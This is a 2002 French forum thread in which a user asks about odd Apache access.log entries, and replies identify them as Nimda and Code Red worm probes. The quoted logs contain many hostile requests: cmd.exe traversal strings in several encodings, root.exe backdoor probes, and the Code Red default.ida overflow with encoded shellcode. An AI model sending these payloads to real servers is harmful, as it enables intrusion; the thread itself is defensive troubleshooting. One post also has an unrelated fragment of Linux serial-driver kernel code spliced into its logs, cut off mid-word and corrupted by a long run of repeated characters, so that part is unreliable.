[APACHE] .. euh .. c'est quoi ce bordel dans mon access.log ?

Marsh Posté le 04-07-2002 à 22:27:51

193.253.242.*** - - [04/Jul/2002:21:14:38 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 279
193.253.242.*** - - [04/Jul/2002:21:14:50 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 277
193.253.242.*** - - [04/Jul/2002:21:14:52 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 287
193.253.242.*** - - [04/Jul/2002:21:14:54 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 287
193.253.242.*** - - [04/Jul/2002:21:14:56 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 301
193.253.241.** - - [04/Jul/2002:21:43:17 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 279
193.253.241.** - - [04/Jul/2002:21:48:18 +0200] "-" 408 -

C koi ces chemins ?

mes pages et mon root directory sont sur le lecteur W: !!!

Reply

Marsh Posté le 04-07-2002 à 22:27:51

Reply

Marsh Posté le 04-07-2002 à 22:28:09

Nimda ?

Reply

Marsh Posté le 04-07-2002 à 22:40:39

10 sacs sur nimda aussi

Reply

Marsh Posté le 04-07-2002 à 22:41:32

arphy a écrit a écrit :

10 sacs sur nimda aussi

nimda il est pas censé s'attaquer à iis ???

Reply

Marsh Posté le 04-07-2002 à 22:42:11

Nimda s'attaque a n'importe quel serveur http, cependant seul un serveur IIS non patché sera vulnérable.

Reply

Marsh Posté le 04-07-2002 à 22:43:17

Guru a écrit a écrit :

Nimda s'attaque a n'importe quel serveur http, cependant seul un serveur IIS non patché sera vulnérable.

Donc avec apache 1.3.26 ça devrait aller ?

J'ai lancé un scan .. on verra bien

Reply

Marsh Posté le 04-07-2002 à 22:44:58

Aucun problème Apache est insensible a Nimda.

Reply

Marsh Posté le 04-07-2002 à 22:45:38

Guru a écrit a écrit :

Aucun problème Apache est insensible a Nimda.

[:wahoov]

merci

Message édité par paranoidandroid le 04-07-2002 à 22:47:01

Reply

Marsh Posté le 04-07-2002 à 22:46:53

Bien possible

Dans le genre pas mal :

62.103.239.174 - - [15/Feb/2002:19:34:24 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.103.239.174 - - [15/Feb/2002:19:34:27 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.103.239.174 - - [15/Feb/2002:19:34:30 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
198.64.55.243 - - [15/Feb/2002:21:11:51 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 324
64.214.122.130 - - [16/Feb/2002:01:59:06 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 324

Un peu plus tard ...

172.189.56.52 - - [16/Feb/2002:22:08:39 +0100] "GET /favicon.ico HTTP/1.1" 404 289
205.208.210.35 - - [16/Feb/2002:22:37:38 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 324

Encore en février ...

62.174.165.228 - - [17/Feb/2002:08:20:22 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.174.165.228 - - [17/Feb/2002:08:20:24 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.174.165.228 - - [17/Feb/2002:08:20:26 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.174.165.228 - - [17/Feb/2002:08:20:28 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.174.165.228 - - [17/Feb/2002:08:20:29 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.174.165.228 - - [17/Feb/2002:08:20:31 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.174.165.228 - - [17/Feb/2002:08:20:40 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.174.165.228 - - [17/Feb/2002:08:20:43 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.174.165.228 - - [17/Feb/2002:08:20:45 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:47 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:49 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:51 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.174.165.228 - - [17/Feb/2002:08:20:53 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.174.165.228 - - [17/Feb/2002:08:20:55 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.174.165.228 - - [17/Feb/2002:08:21:00 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.174.165.228 - - [17/Feb/2002:08:21:05 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
212.150.58.186 - - [17/Feb/2002:13:35:50 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 324
172.188.5.158 - - [18/Feb/2002:00:18:35 +0100] "CONNECT irc.respublica.fr:6667 HTTP/1.0" 405 303
202.79.80.138 - - [18/Feb/2002:01:34:50 +0100] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 400 324

Ca c'est pas du nimda par contre :

80.11.149.71 - - [19/Feb/2002:22:03:05 +0100] "GET /forum/index.php HTTP/1.1" 404 293
4.61.11.90 - - [20/Feb/2002:10:54:47 +0100] "GET /upload/space.asp HTTP/1.1" 404 294

Une tentative de hack (ratée) :

193.248.128.203 - - [20/Feb/2002:12:15:32 +0100] "GET /images/evolution.png HTTP/1.1" 200 90829
rial port is opened. It
* enables interrupts for a serial port. It also performs the
* serial-specific initialization for the tty structure.
*/
static int dz_open (struct tty_struct *tty, struct file *filp)
{
struct dz_serial *info;
int retval, line;

line = MINOR(tty->device) - tty->driver.minor_start;

/* The dz lines for the mouse/keyboard must be
* opened using their respective drivers.
*/
if ((line < 0) || (line >= DZ_NB_PORT))
return -ENODEV;

if ((line == DZ_KEYBOARD) || (line == DZ_MOUSE))
return -ENODEV;

info = lines[line];
info->count++;

tty->driver_data = info;
info->tty = tty;

/*
* Start up serial port
*/
retval = startup (info);
if (retval)
return retval;

retval = block_til_ready (tty, filp, info);
if (retval)
return retval;

if ((info->count == 1) && (info->flags & DZ_SPLIT_TERMIOS)) {
if (tty->driver.subtype == SERIAL_TYPE_NORMAL)
*tty->termios = info->normal_termios;
else
*tty->termios = info->callout_termios;
change_speed (info);

}

info->session = current->session;
info->pgrp = current->pgrp;
return 0;
}

static void show_serial_version (void)
{
printk("%s%s\n", dz_name, dz_version);
}

int __init dz_init(void)
{
int i;
unsigned long flags;
struct dz_serial *info;

/* Setup base handler, and timer table. */
init_bh (SERIAL_BH, do_serial_bh);

show_serial_version ();

memset(&serial_driver, 0, sizeof(struct tty_driver));
serial_driver.magic = TTY_DRIVER_MAGIC;
serial_driver.name = "ttyS";
serial_driver.major = TTY_MAJOR;
serial_driver.minor_start = 64;
serial_driver.num = DZ_NB_PORT;
serial_driver.type = TTY_DRIVER_TYPE_SERIAL;
serial_driver.subtype = SERIAL_TYPE_NORMAL;
serial_driver.init_termios = tty_std_termios;

serial_driver.init_termios.c_cflag = B9600 | CS8 | CREAD | HUPCL | CLOCAL;
serial_driver.flags = TTY_DRIVER_REAL_RAW;
serial_driver.refcount = &serial_refcount;
serial_driver.table = serial_table;
serial_driver.termios = serial_termios;
serial_driver.termios_locked = serial_termios_locked;

serial_driver.open = dz_open;
serial_driver.close = dz_close;
serial_driver.write = dz_write;
serial_driver.flush_chars = dz_flush_chars;
serial_driver.write_room = dz_write_room;
serial_driver.chars_in_buffer = dz_chars_in_buffer;
serial_driver.flush_buffer = dz_flush_buffer;
serial_driver.ioctl = dz_ioctl;
serial_driver.throttle = dz_throttle;
serial_driver.unthrottle = dz_unthrottle;
serial_driver.send_xchar = dz_send_xchar;
serial_driver.set_termios = dz_set_termios;
serial_driver.stop = dz_stop;
serial_driver.start = dz_start;
serial_driver.hangup = dz_hangup;

/*
* The callout device is just like normal device except for
* major number and the subtype code.
*/
callout_driver = serial_driver;
callout_driver.name = "cua";
callout_driver.major = TTYAUX_MAJOR;
callout_driver.subtype = SERIAL_TYPE_CALLOUT;

if (tty_register_driver (&serial_driver))
panic("Couldn't register serial driver\n" );
if (tty_register_driver (&callout_driver))
panic("Couldn't register callout driver\n" );
save_flags(flags); cli();

for (i=0; i < DZ_NB_PORT; i++)
{
info = &multi[i];
lines[i] = info;
info->magic = SERIAL_MAGIC;

if ((mips_machtype == MACH_DS23100) || (mips_machtype == MACH_DS5100))
info->port = (unsigned long) KN01_DZ11_BASE;
else
info->port = (unsigned long) KN02_DZ11_BASE;

info->line = i;
info->tty = 0;
info->close_delay = 50;
info->closing_wait = 3000;
info->x_char = 0;
info->event = 0;
info->count = 0;
info->blocked_open = 0;
info->tqueue.routine = do_softint;
info->tqueue.data = info;
info->tqueue_hangup.routine = do_serial_hangup;
info->tqueue_hangup.data = info;
info->callout_termios = callout_driver.init_termios;
info->normal_termios = serial_driver.init_termios;
init_waitqueue_head(&info->open_wait);
init_waitqueue_head(&info->close_wait);

/* If we are pointing to address zero then punt - not correctly
set up in setup.c to handle this. */
if (! info->port)
return 0;

printk("ttyS%02d at 0x%04x (irq = %d)\n", info->line, info->port, SERIAL);
}

/* reset the chip */
#ifndef CONFIG_SERIAL_CONSOLE
dz_out(info, DZ_CSR, DZ_CLR);
while ((tmp = dz_in(info,DZ_CSR)) & DZ_CLR) ;
wbflush();

/* enable scanning */
dz_out(info, DZ_CSR, DZ_MSE);
#endif

/* order matters here... the trick is that flags
is updated... in request_irq - to immediatedly obliterate
it is unwise. */
restore_flags(flags);

if (request_irq (SERIAL, dz_interrupt, SA_INTERRUPT, "DZ", lines[0]))
panic ("Unable to register DZ interrupt\n" );

return 0;
}

#ifdef CONFIG_SERIAL_CONSOLE
static void dz_console_put_char (unsigned char ch)
{
unsigned long flags;
int loops = 2500;
unsigned short tmp = ch;
/* this code sends stuff out to serial device - spinning its
wheels and waiting. */

/* force the issue - point it at lines[3]*/
dz_console=&multi[CONSOLE_LINE];

save_flags(flags);
cli();

/* spin our wheels */
while (((dz_in(dz_console,DZ_CSR) & DZ_TRDY) != DZ_TRDY) && loops--)
;

/* Actually transmit the character. */
dz_out (dz_console, DZ_TDR, tmp);

restore_flags(flags);
}
/*
* -------------------------------------------------------------------
* dz_console_print ()
*
* dz_console_print is registered for printk.
* The console must be locked when we get here.
* -------------------------------------------------------------------
*/
static void dz_console_print (struct console *cons,
const char *str,
unsigned int count)
{
#ifdef DEBUG_DZ
prom_printf((char *)str);
#endif
while (count--)
{
if (*str == '\n')
dz_console_put_char ('\r');
dz_console_put_char (*str++);
}
}

static int dz_console_wait_key(struct console *co)
{
return 0;
}

static kdev_t dz_console_device(struct console *c)
{
return MKDEV(TTY_MAJOR, 64 + c->index);
}

static int __init dz_console_setup(struct conöööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööööö break;
case 9600:
default:
cflag |= DZ_B9600;
break;
}
switch(bits) {
case 7:
cflag |= DZ_CS7;
break;
default:
case 8:
cflag |= DZ_CS8;
break;
}
switch(parity) {
case 'o': case 'O':
cflag |= DZ_PARODD;
break;
case 'e': case 'E':
cflag |= DZ_PARENB;
break;
}
co->cflag = cflag;

/* TOFIX: force to console line */
dz_console = &multi[CONSOLE_LINE];
if ((mips_machtype == MACH_DS23100) || (mips_machtype == MACH_DS5100))
dz_console->port = KN01_DZ11_BASE;
else
dz_console->port = KN02_DZ11_BASE;
dz_console->line = CONSOLE_LINE;

dz_out(dz_console, DZ_CSR, DZ_CLR);
while ((tmp = dz_in(dz_console,DZ_CSR)) & DZ_CLR)
;

/* enable scanning */
dz_out(dz_console, DZ_CSR, DZ_MSE);

/* Set up flags... */
dz_console->cflags = 0;
dz_console->cflags |= DZ_B9600;
dz_console->cflags |= DZ_CS8;
dz_console->cflags |= DZ_PARENB;
dz_out (dz_console, DZ_LPR, dz_console->cflags);

mask = 1 << dz_console->line;
tmp = dz_in (dz_console, DZ_TCR); /* read the TX flag */
if (!(tmp & mask)) {
tmp |= mask; /* set the TX flag */
dz_out (dz_console, DZ_TCR, tmp);
}

return 0;
}

static struct console dz_sercons = {
name: "ttyS",
write: dz_console_print,
device: dz_console_device,
wait_key: dz_console_wait_key,
setup: dz_console_setup,
flags: CON_CONSDEV | CON_PRINTBUFFER,
index: CONSOLE_LINE,
};

void __init dz_serial_console_init(void)
{
register_console(&dz_sercons);
}

#endif /* ifdef CONFIG_SERIAL_CONSOLE */

64.80.100.19 - - [20/Feb/2002:23:11:27 +0100] "GET / HTTP/1.1" 200 439

Bon je m'arrête la il y en a encore long ...

---------------
Tant que la couleur de la peau sera plus importante que celle des yeux, nous ne connaitrons pas la paix. ● L'écriture, c'est la mémoire du futur. ● Mods FO4

Reply

Marsh Posté le 04-07-2002 à 22:55:10

Hm ça c'est tout neuf par contre ...

216.152.33.130 - - [03/Jul/2002:22:50:35 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 -
62.251.158.130 - - [03/Jul/2002:23:07:04 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.251.158.130 - - [03/Jul/2002:23:07:05 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.251.158.130 - - [03/Jul/2002:23:07:08 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.251.158.130 - - [03/Jul/2002:23:07:10 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.251.158.130 - - [03/Jul/2002:23:07:12 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.158.130 - - [03/Jul/2002:23:07:14 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.251.158.130 - - [03/Jul/2002:23:07:17 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.251.158.130 - - [03/Jul/2002:23:07:20 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.251.158.130 - - [03/Jul/2002:23:07:23 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.251.158.130 - - [03/Jul/2002:23:07:25 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.251.158.130 - - [03/Jul/2002:23:07:28 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
216.239.46.96 - - [04/Jul/2002:00:24:32 +0200] "GET /robots.txt HTTP/1.0" 404 276

Preuve que Nimda fait encore des ravages ...

---------------
Tant que la couleur de la peau sera plus importante que celle des yeux, nous ne connaitrons pas la paix. ● L'écriture, c'est la mémoire du futur. ● Mods FO4

Reply

[APACHE] .. euh .. c'est quoi ce bordel dans mon access.log ?

Sujets relatifs:

Leave a Replay